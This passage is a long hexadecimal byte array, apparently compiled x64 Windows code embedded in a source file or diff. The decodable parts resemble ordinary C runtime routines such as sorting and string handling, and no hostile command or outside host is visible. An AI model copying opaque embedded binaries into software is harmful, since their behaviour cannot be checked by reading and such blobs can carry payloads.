0x2a, 0x48, 0x63, 0xc9, 0x4c, 0x8d, 0x05, 0xa8, 0x0b, 0x01, 0x00, + 0x48, 0x8b, 0xc1, 0x83, 0xe1, 0x3f, 0x48, 0xc1, 0xf8, 0x06, 0x48, 0x8d, + 0x14, 0xc9, 0x49, 0x8b, 0x04, 0xc0, 0xf6, 0x44, 0xd0, 0x38, 0x01, 0x74, + 0x07, 0x48, 0x8b, 0x44, 0xd0, 0x28, 0xeb, 0x1c, 0xe8, 0xbf, 0x94, 0xff, + 0xff, 0x83, 0x20, 0x00, 0xe8, 0xd7, 0x94, 0xff, 0xff, 0xc7, 0x00, 0x09, + 0x00, 0x00, 0x00, 0xe8, 0xac, 0x93, 0xff, 0xff, 0x48, 0x83, 0xc8, 0xff, + 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, + 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x20, 0x4c, 0x8b, 0xf1, 0x48, + 0x85, 0xc9, 0x74, 0x74, 0x33, 0xdb, 0x4c, 0x8d, 0x3d, 0xeb, 0x26, 0xff, + 0xff, 0xbf, 0xe3, 0x00, 0x00, 0x00, 0x8d, 0x04, 0x1f, 0x41, 0xb8, 0x55, + 0x00, 0x00, 0x00, 0x99, 0x49, 0x8b, 0xce, 0x2b, 0xc2, 0xd1, 0xf8, 0x48, + 0x63, 0xe8, 0x48, 0x8b, 0xd5, 0x48, 0x8b, 0xf5, 0x48, 0x03, 0xd2, 0x49, + 0x8b, 0x94, 0xd7, 0x30, 0x72, 0x01, 0x00, 0xe8, 0xe4, 0x29, 0x00, 0x00, + 0x85, 0xc0, 0x74, 0x13, 0x79, 0x05, 0x8d, 0x7d, 0xff, 0xeb, 0x03, 0x8d, + 0x5d, 0x01, 0x3b, 0xdf, 0x7e, 0xc4, 0x83, 0xc8, 0xff, 0xeb, 0x0b, 0x48, + 0x03, 0xf6, 0x41, 0x8b, 0x84, 0xf7, 0x38, 0x72, 0x01, 0x00, 0x85, 0xc0, + 0x78, 0x16, 0x3d, 0xe4, 0x00, 0x00, 0x00, 0x73, 0x0f, 0x48, 0x98, 0x48, + 0x03, 0xc0, 0x41, 0x8b, 0x84, 0xc7, 0xd0, 0x57, 0x01, 0x00, 0xeb, 0x02, + 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x8b, 0x6c, 0x24, 0x48, + 0x48, 0x8b, 0x74, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x20, 0x41, 0x5f, 0x41, + 0x5e, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x41, 0x54, 0x41, 0x55, + 0x41, 0x56, 0x48, 0x81, 0xec, 0x50, 0x04, 0x00, 0x00, 0x48, 0x8b, 0x05, + 0x54, 0xf6, 0x00, 0x00, 0x48, 0x33, 0xc4, 0x48, 0x89, 0x84, 0x24, 0x10, + 0x04, 0x00, 0x00, 0x4d, 0x8b, 0xe1, 0x4d, 0x8b, 0xf0, 0x4c, 0x8b, 0xe9, + 0x48, 0x85, 0xc9, 0x75, 0x1a, 0x48, 0x85, 0xd2, 0x74, 0x15, 0xe8, 0xd5, + 0x93, 0xff, 0xff, 0xc7, 0x00, 0x16, 0x00, 0x00, 0x00, 0xe8, 0xaa, 0x92, + 0xff, 0xff, 0xe9, 0x38, 0x03, 0x00, 0x00, 0x4d, 0x85, 0xf6, 0x74, 0xe6, + 0x4d, 0x85, 0xe4, 0x74, 0xe1, 0x48, 0x83, 0xfa, 0x02, 0x0f, 0x82, 0x24, + 0x03, 0x00, 0x00, 0x48, 0x89, 0x9c, 0x24, 0x48, 0x04, 0x00, 0x00, 0x48, + 0x89, 0xac, 0x24, 0x40, 0x04, 0x00, 0x00, 0x48, 0x89, 0xb4, 0x24, 0x38, + 0x04, 0x00, 0x00, 0x48, 0x89, 0xbc, 0x24, 0x30, 0x04, 0x00, 0x00, 0x4c, + 0x89, 0xbc, 0x24, 0x28, 0x04, 0x00, 0x00, 0x4c, 0x8d, 0x7a, 0xff, 0x4d, + 0x0f, 0xaf, 0xfe, 0x4c, 0x03, 0xf9, 0x33, 0xc9, 0x48, 0x89, 0x4c, 0x24, + 0x20, 0x66, 0x66, 0x66, 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x33, 0xd2, 0x49, 0x8b, 0xc7, 0x49, 0x2b, 0xc5, 0x49, 0xf7, 0xf6, 0x48, + 0x8d, 0x58, 0x01, 0x48, 0x83, 0xfb, 0x08, 0x0f, 0x87, 0x8b, 0x00, 0x00, + 0x00, 0x4d, 0x3b, 0xfd, 0x76, 0x65, 0x4b, 0x8d, 0x34, 0x2e, 0x49, 0x8b, + 0xdd, 0x48, 0x8b, 0xfe, 0x49, 0x3b, 0xf7, 0x77, 0x20, 0x0f, 0x1f, 0x00, + 0x48, 0x8b, 0xd3, 0x48, 0x8b, 0xcf, 0x49, 0x8b, 0xc4, 0xff, 0x15, 0x89, + 0x48, 0x00, 0x00, 0x85, 0xc0, 0x48, 0x0f, 0x4f, 0xdf, 0x49, 0x03, 0xfe, + 0x49, 0x3b, 0xff, 0x76, 0xe3, 0x4d, 0x8b, 0xc6, 0x49, 0x8b, 0xd7, 0x49, + 0x3b, 0xdf, 0x74, 0x1e, 0x49, 0x2b, 0xdf, 0x0f, 0x1f, 0x44, 0x00, 0x00, + 0x0f, 0xb6, 0x02, 0x0f, 0xb6, 0x0c, 0x13, 0x88, 0x04, 0x13, 0x88, 0x0a, + 0x48, 0x8d, 0x52, 0x01, 0x49, 0x83, 0xe8, 0x01, 0x75, 0xea, 0x4d, 0x2b, + 0xfe, 0x4d, 0x3b, 0xfd, 0x77, 0xa4, 0x48, 0x8b, 0x4c, 0x24, 0x20, 0x48, + 0x83, 0xe9, 0x01, 0x48, 0x89, 0x4c, 0x24, 0x20, 0x0f, 0x88, 0x25, 0x02, + 0x00, 0x00, 0x4c, 0x8b, 0x6c, 0xcc, 0x30, 0x4c, 0x8b, 0xbc, 0xcc, 0x20, + 0x02, 0x00, 0x00, 0xe9, 0x5c, 0xff, 0xff, 0xff, 0x48, 0xd1, 0xeb, 0x49, + 0x8b, 0xcd, 0x49, 0x0f, 0xaf, 0xde, 0x49, 0x8b, 0xc4, 0x4a, 0x8d, 0x34, + 0x2b, 0x48, 0x8b, 0xd6, 0xff, 0x15, 0x0a, 0x48, 0x00, 0x00, 0x85, 0xc0, + 0x7e, 0x29, 0x4d, 0x8b, 0xce, 0x4c, 0x8b, 0xc6, 0x4c, 0x3b, 0xee, 0x74, + 0x1e, 0x0f, 0x1f, 0x00, 0x41, 0x0f, 0xb6, 0x00, 0x49, 0x8b, 0xd0, 0x48, + 0x2b, 0xd3, 0x0f, 0xb6, 0x0a, 0x88, 0x02, 0x41, 0x88, 0x08, 0x49, 0xff, + 0xc0, 0x49, 0x83, 0xe9, 0x01, 0x75, 0xe5, 0x49, 0x8b, 0xd7, 0x49, 0x8b, + 0xcd, 0x49, 0x8b, 0xc4, 0xff, 0x15, 0xce, 0x47, 0x00, 0x00, 0x85, 0xc0, + 0x7e, 0x2a, 0x4d, 0x8b, 0xc6, 0x49, 0x8b, 0xd7, 0x4d, 0x3b, 0xef, 0x74, + 0x1f, 0x4d, 0x8b, 0xcd, 0x4d, 0x2b, 0xcf, 0x90, 0x0f, 0xb6, 0x02, 0x41, + 0x0f, 0xb6, 0x0c, 0x11, 0x41, 0x88, 0x04, 0x11, 0x88, 0x0a, 0x48, 0x8d, + 0x52, 0x01, 0x49, 0x83, 0xe8, 0x01, 0x75, 0xe8, 0x49, 0x8b, 0xd7, 0x48, + 0x8b, 0xce, 0x49, 0x8b, 0xc4, 0xff, 0x15, 0x91, 0x47, 0x00, 0x00, 0x85, + 0xc0, 0x7e, 0x2d, 0x4d, 0x8b, 0xc6, 0x49, 0x8b, 0xd7, 0x49, 0x3b, 0xf7, + 0x74, 0x22, 0x4c, 0x8b, 0xce, 0x4d, 0x2b, 0xcf, 0x0f, 0x1f, 0x40, 0x00, + 0x0f, 0xb6, 0x02, 0x41, 0x0f, 0xb6, 0x0c, 0x11, 0x41, 0x88, 0x04, 0x11, + 0x88, 0x0a, 0x48, 0x8d, 0x52, 0x01, 0x49, 0x83, 0xe8, 0x01, 0x75, 0xe8, + 0x49, 0x8b, 0xdd, 0x49, 0x8b, 0xff, 0x66, 0x90, 0x48, 0x3b, 0xf3, 0x76, + 0x1d, 0x49, 0x03, 0xde, 0x48, 0x3b, 0xde, 0x73, 0x15, 0x48, 0x8b, 0xd6, + 0x48, 0x8b, 0xcb, 0x49, 0x8b, 0xc4, 0xff, 0x15, 0x3c, 0x47, 0x00, 0x00, + 0x85, 0xc0, 0x7e, 0xe5, 0xeb, 0x1e, 0x49, 0x03, 0xde, 0x49, 0x3b, 0xdf, + 0x77, 0x16, 0x48, 0x8b, 0xd6, 0x48, 0x8b, 0xcb, 0x49, 0x8b, 0xc4, 0xff, + 0x15, 0x1f, 0x47, 0x00, 0x00, 0x85, 0xc0, 0x7e, 0xe5, 0x0f, 0x1f, 0x00, + 0x48, 0x8b, 0xef, 0x49, 0x2b, 0xfe, 0x48, 0x3b, 0xfe, 0x76, 0x13, 0x48, + 0x8b, 0xd6, 0x48, 0x8b, 0xcf, 0x49, 0x8b, 0xc4, 0xff, 0x15, 0xfe, 0x46, + 0x00, 0x00, 0x85, 0xc0, 0x7f, 0xe2, 0x48, 0x3b, 0xfb, 0x72, 0x38, 0x4d, + 0x8b, 0xc6, 0x48, 0x8b, 0xd7, 0x74, 0x1e, 0x4c, 0x8b, 0xcb, 0x4c, 0x2b, + 0xcf, 0x0f, 0xb6, 0x02, 0x41, 0x0f, 0xb6, 0x0c, 0x11, 0x41, 0x88, 0x04, + 0x11, 0x88, 0x0a, 0x48, 0x8d, 0x52, 0x01, 0x49, 0x83, 0xe8, 0x01, 0x75, + 0xe8, 0x48, 0x3b, 0xf7, 0x48, 0x8b, 0xc3, 0x48, 0x0f, 0x45, 0xc6, 0x48, + 0x8b, 0xf0, 0xe9, 0x65, 0xff, 0xff, 0xff, 0x48, 0x3b, 0xf5, 0x73, 0x20, + 0x49, 0x2b, 0xee, 0x48, 0x3b, 0xee, 0x76, 0x18, 0x48, 0x8b, 0xd6, 0x48, + 0x8b, 0xcd, 0x49, 0x8b, 0xc4, 0xff, 0x15, 0xa1, 0x46, 0x00, 0x00, 0x85, + 0xc0, 0x74, 0xe5, 0xeb, 0x1e, 0x0f, 0x1f, 0x00, 0x49, 0x2b, 0xee, 0x49, + 0x3b, 0xed, 0x76, 0x13, 0x48, 0x8b, 0xd6, 0x48, 0x8b, 0xcd, 0x49, 0x8b, + 0xc4, 0xff, 0x15, 0x81, 0x46, 0x00, 0x00, 0x85, 0xc0, 0x74, 0xe5, 0x49, + 0x8b, 0xcf, 0x48, 0x8b, 0xc5, 0x48, 0x2b, 0xcb, 0x49, 0x2b, 0xc5, 0x48, + 0x3b, 0xc1, 0x48, 0x8b, 0x4c, 0x24, 0x20, 0x7c, 0x2b, 0x4c, 0x3b, 0xed, + 0x73, 0x15, 0x4c, 0x89, 0x6c, 0xcc, 0x30, 0x48, 0x89, 0xac, 0xcc, 0x20, + 0x02, 0x00, 0x00, 0x48, 0xff, 0xc1, 0x48, 0x89, 0x4c, 0x24, 0x20, 0x49, + 0x3b, 0xdf, 0x0f, 0x83, 0xff, 0xfd, 0xff, 0xff, 0x4c, 0x8b, 0xeb, 0xe9, + 0x74, 0xfd, 0xff, 0xff, 0x49, 0x3b, 0xdf, 0x73, 0x15, 0x48, 0x89, 0x5c, + 0xcc, 0x30, 0x4c, 0x89, 0xbc, 0xcc, 0x20, 0x02, 0x00, 0x00, 0x48, 0xff, + 0xc1, 0x48, 0x89, 0x4c, 0x24, 0x20, 0x4c, 0x3b, 0xed, 0x0f, 0x83, 0xd4, + 0xfd, 0xff, 0xff, 0x4c, 0x8b, 0xfd, 0xe9, 0x49, 0xfd, 0xff, 0xff, 0x48, + 0x8b, 0xbc, 0x24, 0x30, 0x04, 0x00, 0x00, 0x48, 0x8b, 0xb4, 0x24, 0x38, + 0x04, 0x00, 0x00, 0x48, 0x8b, 0xac, 0x24, 0x40, 0x04, 0x00, 0x00, 0x48, + 0x8b, 0x9c, 0x24, 0x48, 0x04, 0x00, 0x00, 0x4c, 0x8b, 0xbc, 0x24, 0x28, + 0x04, 0x00, 0x00, 0x48, 0x8b, 0x8c, 0x24, 0x10, 0x04, 0x00, 0x00, 0x48, + 0x33, 0xcc, 0xe8, 0x51, 0x3c, 0xff, 0xff, 0x48, 0x81, 0xc4, 0x50, 0x04, + 0x00, 0x00, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0xc3, 0xcc, 0xcc, 0xcc, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x45, 0x33, + 0xd2, 0x49, 0x8b, 0xd8, 0x4c, 0x8b, 0xda, 0x4d, 0x85, 0xc9, 0x75, 0x2c, + 0x48, 0x85, 0xc9, 0x75, 0x2c, 0x48, 0x85, 0xd2, 0x74, 0x14, 0xe8, 0x45, + 0x90, 0xff, 0xff, 0xbb, 0x16, 0x00, 0x00, 0x00, 0x89, 0x18, 0xe8, 0x19, + 0x8f, 0xff, 0xff, 0x44, 0x8b, 0xd3, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x41, + 0x8b, 0xc2, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0x48, 0x85, 0xc9, 0x74, + 0xd9, 0x4d, 0x85, 0xdb, 0x74, 0xd4, 0x4d, 0x85, 0xc9, 0x75, 0x05, 0x44, + 0x88, 0x11, 0xeb, 0xde, 0x48, 0x85, 0xdb, 0x75, 0x05, 0x44, 0x88, 0x11, + 0xeb, 0xc0, 0x48, 0x2b, 0xd9, 0x48, 0x8b, 0xd1, 0x4d, 0x8b, 0xc3, 0x49, + 0x8b, 0xf9, 0x49, 0x83, 0xf9, 0xff, 0x75, 0x14, 0x8a, 0x04, 0x13, 0x88, + 0x02, 0x48, 0xff, 0xc2, 0x84, 0xc0, 0x74, 0x28, 0x49, 0x83, 0xe8, 0x01, + 0x75, 0xee, 0xeb, 0x20, 0x8a, 0x04, 0x13, 0x88, 0x02, 0x48, 0xff, 0xc2, + 0x84, 0xc0, 0x74, 0x0c, 0x49, 0x83, 0xe8, 0x01, 0x74, 0x06, 0x48, 0x83, + 0xef, 0x01, 0x75, 0xe8, 0x48, 0x85, 0xff, 0x75, 0x03, 0x44, 0x88, 0x12, + 0x4d, 0x85, 0xc0, 0x75, 0x89, 0x49, 0x83, 0xf9, 0xff, 0x75, 0x0e, 0x46, + 0x88, 0x54, 0x19, 0xff, 0x45, 0x8d, 0x50, 0x50, 0xe9, 0x75, 0xff, 0xff, + 0xff, 0x44, 0x88, 0x11, 0xe8, 0xa3, 0x8f, 0xff, 0xff, 0xbb, 0x22, 0x00, + 0x00, 0x00, 0xe9, 0x59, 0xff, 0xff, 0xff, 0xcc, 0x48, 0x83, 0xec, 0x58, + 0x48, 0x8b, 0x05, 0xe9, 0xf1, 0x00, 0x00, 0x48, 0x33, 0xc4, 0x48, 0x89, + 0x44, 0x24, 0x40, 0x33, 0xc0, 0x4c, 0x8b, 0xca, 0x48, 0x83, 0xf8, 0x20, + 0x4c, 0x8b, 0xc1, 0x73, 0x77, 0xc6, 0x44, 0x04, 0x20, 0x00, 0x48, 0xff, + 0xc0, 0x48, 0x83, 0xf8, 0x20, 0x7c, 0xf0, 0x8a, 0x02, 0xeb, 0x1f, 0x0f, + 0xb6, 0xd0, 0x48, 0xc1, 0xea, 0x03, 0x0f, 0xb6, 0xc0, 0x83, 0xe0, 0x07, + 0x0f, 0xb6, 0x4c, 0x14, 0x20, 0x0f, 0xab, 0xc1, 0x49, 0xff, 0xc1, 0x88, + 0x4c, 0x14, 0x20, 0x41, 0x8a, 0x01, 0x84, 0xc0, 0x75, 0xdd, 0xeb, 0x1f, + 0x41, 0x0f, 0xb6, 0xc1, 0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0x0f, 0xb6, + 0xc9, 0x83, 0xe1, 0x07, 0x48, 0xc1, 0xe8, 0x03, 0xd3, 0xe2, 0x84, 0x54, + 0x04, 0x20, 0x75, 0x1f, 0x49, 0xff, 0xc0, 0x45, 0x8a, 0x08, 0x45, 0x84, + 0xc9, 0x75, 0xd9, 0x33, 0xc0, 0x48, 0x8b, 0x4c, 0x24, 0x40, 0x48, 0x33, + 0xcc, 0xe8, 0xde, 0x3a, 0xff, 0xff, 0x48, 0x83, 0xc4, 0x58, 0xc3, 0x49, + 0x8b, 0xc0, 0xeb, 0xe9, 0xe8, 0x57, 0x3f, 0xff, 0xff, 0xcc, 0xcc, 0xcc, + 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x4c, + 0x8b, 0xd2, 0x48, 0x8d, 0x35, 0x2b, 0x21, 0xff, 0xff, 0x41, 0x83, 0xe2, + 0x0f, 0x48, 0x8b, 0xfa, 0x49, 0x2b, 0xfa, 0x48, 0x8b, 0xda, 0x4c, 0x8b, + 0xc1, 0x0f, 0x57, 0xdb, 0x49, 0x8d, 0x42, 0xff, 0xf3, 0x0f, 0x6f, 0x0f, + 0x48, 0x83, 0xf8, 0x0e, 0x77, 0x73, 0x8b, 0x84, 0x86, 0xcc, 0xe1, 0x00, + 0x00, 0x48, 0x03, 0xc6, 0xff, 0xe0, 0x66, 0x0f, 0x73, 0xd9, 0x01, 0xeb, + 0x60, 0x66, 0x0f, 0x73, 0xd9, 0x02, 0xeb, 0x59, 0x66, 0x0f, 0x73, 0xd9, + 0x03, 0xeb, 0x52, 0x66, 0x0f, 0x73, 0xd9, 0x04, 0xeb, 0x4b, 0x66, 0x0f, + 0x73, 0xd9, 0x05, 0xeb, 0x44, 0x66, 0x0f, 0x73, 0xd9, 0x06, 0xeb, 0x3d, + 0x66, 0x0f, 0x73, 0xd9, 0x07, 0xeb, 0x36, 0x66, 0x0f, 0x73, 0xd9, 0x08, + 0xeb, 0x2f, 0x66, 0x0f, 0x73, 0xd9, 0x09, 0xeb, 0x28, 0x66, 0x0f, 0x73, + 0xd9, 0x0a, 0xeb, 0x21, 0x66, 0x0f, 0x73, 0xd9, 0x0b, 0xeb, 0x1a, 0x66, + 0x0f, 0x73, 0xd9, 0x0c, 0xeb, 0x13, 0x66, 0x0f, 0x73, 0xd9, 0x0d, 0xeb, + 0x0c, 0x66, 0x0f, 0x73, 0xd9, 0x0e, 0xeb, 0x05, 0x66, 0x0f, 0x73, 0xd9, + 0x0f, 0x0f, 0x57, 0xc0, 0x41, 0xb9, 0x0f, 0x00, 0x00, 0x00, 0x66, 0x0f, + 0x74, 0xc1, 0x66, 0x0f, 0xd7, 0xc0, 0x85, 0xc0, 0x0f, 0x84, 0x33, 0x01, + 0x00, 0x00, 0x0f, 0xbc, 0xd0, 0x4d, 0x85, 0xd2, 0x75, 0x06, 0x45, 0x8d, + 0x59, 0xf2, 0xeb, 0x14, 0x45, 0x33, 0xdb, 0x8b, 0xc2, 0xb9, 0x10, 0x00, + 0x00, 0x00, 0x49, 0x2b, 0xca, 0x48, 0x3b, 0xc1, 0x41, 0x0f, 0x92, 0xc3, + 0x41, 0x8b, 0xc1, 0x2b, 0xc2, 0x41, 0x3b, 0xc1, 0x0f, 0x87, 0xcf, 0x00, + 0x00, 0x00, 0x8b, 0x8c, 0x86, 0x08, 0xe2, 0x00, 0x00, 0x48, 0x03, 0xce, + 0xff, 0xe1, 0x66, 0x0f, 0x73, 0xf9, 0x01, 0x66, 0x0f, 0x73, 0xd9, 0x01, + 0xe9, 0xb4, 0x00, 0x00, 0x00, 0x66, 0x0f, 0x73, 0xf9, 0x02, 0x66, 0x0f, + 0x73, 0xd9, 0x02, 0xe9, 0xa5, 0x00, 0x00, 0x00, 0x66, 0x0f, 0x73, 0xf9, + 0x03, 0x66, 0x0f, 0x73, 0xd9, 0x03, 0xe9, 0x96, 0x00, 0x00, 0x00, 0x66, + 0x0f, 0x73, 0xf9, 0x04, 0x66, 0x0f, 0x73, 0xd9, 0x04, 0xe9, 0x87, 0x00, + 0x00, 0x00, 0x66, 0x0f, 0x73, 0xf9, 0x05, 0x66, 0x0f, 0x73, 0xd9, 0x05, + 0xeb, 0x7b, 0x66, 0x0f, 0x73, 0xf9, 0x06, 0x66, 0x0f, 0x73, 0xd9, 0x06, + 0xeb, 0x6f, 0x66, 0x0f, 0x73, 0xf9, 0x07, 0x66, 0x0f, 0x73, 0xd9, 0x07, + 0xeb, 0x63, 0x66, 0x0f, 0x73, 0xf9, 0x08, 0x66, 0x0f, 0x73, 0xd9, 0x08, + 0xeb, 0x57, 0x66, 0x0f, 0x73, 0xf9, 0x09, 0x66, 0x0f, 0x73, 0xd9, 0x09, + 0xeb, 0x4b, 0x66, 0x0f, 0x73, 0xf9, 0x0a, 0x66, 0x0f, 0x73, 0xd9, 0x0a, + 0xeb, 0x3f, 0x66, 0x0f, 0x73, 0xf9, 0x0b, 0x66, 0x0f, 0x73, 0xd9, 0x0b, + 0xeb, 0x33, 0x66, 0x0f, 0x73, 0xf9, 0x0c, 0x66, 0x0f, 0x73, 0xd9, 0x0c, + 0xeb, 0x27, 0x66, 0x0f, 0x73, 0xf9, 0x0d, 0x66, 0x0f, 0x73, 0xd9, 0x0d, + 0xeb, 0x1b, 0x66, 0x0f, 0x73, 0xf9, 0x0e, 0x66, 0x0f, 0x73, 0xd9, 0x0e, + 0xeb, 0x0f, 0x66, 0x0f, 0x73, 0xf9, 0x0f, 0x66, 0x0f, 0x73, 0xd9, 0x0f, + 0xeb, 0x03, 0x0f, 0x57, 0xc9, 0x45, 0x85, 0xdb, 0x0f, 0x85, 0xe6, 0x00, + 0x00, 0x00, 0xf3, 0x0f, 0x6f, 0x57, 0x10, 0x66, 0x0f, 0x6f, 0xc2, 0x66, + 0x0f, 0x74, 0xc3, 0x66, 0x0f, 0xd7, 0xc0, 0x85, 0xc0, 0x75, 0x35, 0x48, + 0x8b, 0xd3, 0x49, 0x8b, 0xc8, 0x48, 0x8b, 0x5c, 0x24, 0x10, 0x48, 0x8b, + 0x74, 0x24, 0x18, 0x5f, 0xe9, 0x5f, 0xfd, 0xff, 0xff, 0x4d, 0x85, 0xd2, + 0x75, 0xd0, 0x44, 0x38, 0x57, 0x01, 0x0f, 0x84, 0xac, 0x00, 0x00, 0x00, + 0x48, 0x8b, 0x5c, 0x24, 0x10, 0x48, 0x8b, 0x74, 0x24, 0x18, 0x5f, 0xe9, + 0x40, 0xfd, 0xff, 0xff, 0x0f, 0xbc, 0xc8, 0x8b, 0xc1, 0x49, 0x2b, 0xc2, + 0x48, 0x83, 0xc0, 0x10, 0x48, 0x83, 0xf8, 0x10, 0x77, 0xb9, 0x44, 0x2b, + 0xc9, 0x41, 0x83, 0xf9, 0x0f, 0x77, 0x79, 0x42, 0x8b, 0x8c, 0x8e, 0x48, + 0xe2, 0x00, 0x00, 0x48, 0x03, 0xce, 0xff, 0xe1, 0x66, 0x0f, 0x73, 0xfa, + 0x01, 0xeb, 0x65, 0x66, 0x0f, 0x73, 0xfa, 0x02, 0xeb, 0x5e, 0x66, 0x0f, + 0x73, 0xfa, 0x03, 0xeb, 0x57, 0x66, 0x0f, 0x73, 0xfa, 0x04, 0xeb, 0x50, + 0x66, 0x0f, 0x73, 0xfa, 0x05, 0xeb, 0x49, 0x66, 0x0f, 0x73, 0xfa, 0x06, + 0xeb, 0x42, 0x66, 0x0f, 0x73, 0xfa, 0x07, 0xeb, 0x3b, 0x66, 0x0f, 0x73, + 0xfa, 0x08, 0xeb, 0x34, 0x66, 0x0f, 0x73, 0xfa, 0x09, 0xeb, 0x2d, 0x66, + 0x0f, 0x73, 0xfa, 0x0a, 0xeb, 0x26, 0x66, 0x0f, 0x73, 0xfa, 0x0b, 0xeb, + 0x1f, 0x66, 0x0f, 0x73, 0xfa, 0x0c, 0xeb, 0x18, 0x66, 0x0f, 0x73, 0xfa, + 0x0d, 0xeb, 0x11, 0x66, 0x0f, 0x73, 0xfa, 0x0e, 0xeb, 0x0a, 0x66, 0x0f, + 0x73, 0xfa, 0x0f, 0xeb, 0x03, 0x0f, 0x57, 0xd2, 0x66, 0x0f, 0xeb, 0xd1, + 0x66, 0x0f, 0x6f, 0xca, 0x41, 0x0f, 0xb6, 0x00, 0x84, 0xc0, 0x74, 0x34, + 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0xbe, 0xc0, 0x66, + 0x0f, 0x6e, 0xc0, 0x66, 0x0f, 0x60, 0xc0, 0x66, 0x0f, 0x60, 0xc0, 0x66, + 0x0f, 0x70, 0xc0, 0x00, 0x66, 0x0f, 0x74, 0xc1, 0x66, 0x0f, 0xd7, 0xc0, + 0x85, 0xc0, 0x75, 0x1a, 0x41, 0x0f, 0xb6, 0x40, 0x01, 0x49, 0xff, 0xc0, + 0x84, 0xc0, 0x75, 0xd4, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x10, 0x48, + 0x8b, 0x74, 0x24, 0x18, 0x5f, 0xc3, 0x48, 0x8b, 0x5c, 0x24, 0x10, 0x49, + 0x8b, 0xc0, 0x48, 0x8b, 0x74, 0x24, 0x18, 0x5f, 0xc3, 0x0f, 0x1f, 0x00, + 0x02, 0xdf, 0x00, 0x00, 0x09, 0xdf, 0x00, 0x00, 0x10, 0xdf, 0x00, 0x00, + 0x17, 0xdf, 0x00, 0x00, 0x1e, 0xdf, 0x00, 0x00, 0x25, 0xdf, 0x00, 0x00, + 0x2c, 0xdf, 0x00, 0x00, 0x33, 0xdf, 0x00, 0x00, 0x3a, 0xdf, 0x00, 0x00, + 0x41, 0xdf, 0x00, 0x00, 0x48, 0xdf, 0x00, 0x00, 0x4f, 0xdf, 0x00, 0x00, + 0x56, 0xdf, 0x00, 0x00, 0x5d, 0xdf, 0x00, 0x00, 0x64, 0xdf, 0x00, 0x00, + 0xbe, 0xdf, 0x00, 0x00, 0xcd, 0xdf, 0x00, 0x00, 0xdc, 0xdf, 0x00, 0x00, + 0xeb, 0xdf, 0x00, 0x00, 0xfa, 0xdf, 0x00, 0x00, 0x06, 0xe0, 0x00, 0x00, + 0x12, 0xe0, 0x00, 0x00, 0x1e, 0xe0, 0x00, 0x00, 0x2a, 0xe0, 0x00, 0x00, + 0x36, 0xe0, 0x00, 0x00, 0x42, 0xe0, 0x00, 0x00, 0x4e, 0xe0, 0x00, 0x00, + 0x5a, 0xe0, 0x00, 0x00, 0x66, 0xe0, 0x00, 0x00, 0x72, 0xe0, 0x00, 0x00, + 0x7e, 0xe0, 0x00, 0x00, 0xfc, 0xe0, 0x00, 0x00, 0x03, 0xe1, 0x00, 0x00, + 0x0a, 0xe1, 0x00, 0x00, 0x11, 0xe1, 0x00, 0x00, 0x18, 0xe1, 0x00, 0x00, + 0x1f, 0xe1, 0x00, 0x00, 0x26, 0xe1, 0x00, 0x00, 0x2d, 0xe1, 0x00, 0x00, + 0x34, 0xe1, 0x00, 0x00, 0x3b, 0xe1, 0x00, 0x00, 0x42, 0xe1, 0x00, 0x00, + 0x49, 0xe1, 0x00, 0x00, 0x50, 0xe1, 0x00, 0x00, 0x57, 0xe1, 0x00, 0x00, + 0x5e, 0xe1, 0x00, 0x00, 0x65, 0xe1, 0x00, 0x00, 0x45, 0x33, 0xc0, 0xe9, + 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, + 0xec, 0x40, 0x48, 0x8b, 0xda, 0x48, 0x8b, 0xf9, 0x48, 0x85, 0xc9, 0x75, + 0x14, 0xe8, 0x02, 0x8b, 0xff, 0xff, 0xc7, 0x00, 0x16, 0x00, 0x00, 0x00, + 0xe8, 0xd7, 0x89, 0xff, 0xff, 0x33, 0xc0, 0xeb, 0x60, 0x48, 0x85, 0xdb, + 0x74, 0xe7, 0x48, 0x3b, 0xfb, 0x73, 0xf2, 0x49, 0x8b, 0xd0, 0x48, 0x8d, + 0x4c, 0x24, 0x20, 0xe8, 0x68, 0x5c, 0xff, 0xff, 0x48, 0x8b, 0x4c, 0x24, + 0x30, 0x48, 0x8d, 0x53, 0xff, 0x83, 0x79, 0x08, 0x00, 0x74, 0x24, 0x48, + 0xff, 0xca, 0x48, 0x3b, 0xfa, 0x77, 0x0a, 0x0f, 0xb6, 0x02, 0xf6, 0x44, + 0x08, 0x19, 0x04, 0x75, 0xee, 0x48, 0x8b, 0xcb, 0x48, 0x2b, 0xca, 0x48, + 0x8b, 0xd3, 0x83, 0xe1, 0x01, 0x48, 0x2b, 0xd1, 0x48, 0xff, 0xca, 0x80, + 0x7c, 0x24, 0x38, 0x00, 0x74, 0x0c, 0x48, 0x8b, 0x4c, 0x24, 0x20, 0x83, + 0xa1, 0xa8, 0x03, 0x00, 0x00, 0xfd, 0x48, 0x8b, 0xc2, 0x48, 0x8b, 0x5c, + 0x24, 0x50, 0x48, 0x83, 0xc4, 0x40, 0x5f, 0xc3, 0x40, 0x55, 0x41, 0x54, + 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x60, 0x48, 0x8d, + 0x6c, 0x24, 0x50, 0x48, 0x89, 0x5d, 0x40, 0x48, 